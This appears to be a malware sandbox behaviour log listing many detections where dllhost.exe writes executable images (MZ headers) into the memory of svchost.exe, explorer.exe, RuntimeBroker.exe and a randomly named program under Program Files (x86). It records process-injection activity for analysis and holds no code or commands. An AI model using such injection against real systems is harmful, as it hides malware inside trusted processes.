Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 3140000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B8D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF644F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DAC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24AE77D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209A4BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C95C650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 16BA4E30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24AE77D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209A4BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FB7A020000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 19C72DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 143A2940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 16BA4E30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15BA5ED0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 19C72DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15BA5ED0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2220000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 10B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 10D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 11E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2800000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 6B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 6D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 29D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 29F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2D80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3140000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2420000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2AE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2220000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A70000 value starts with: 4D5A
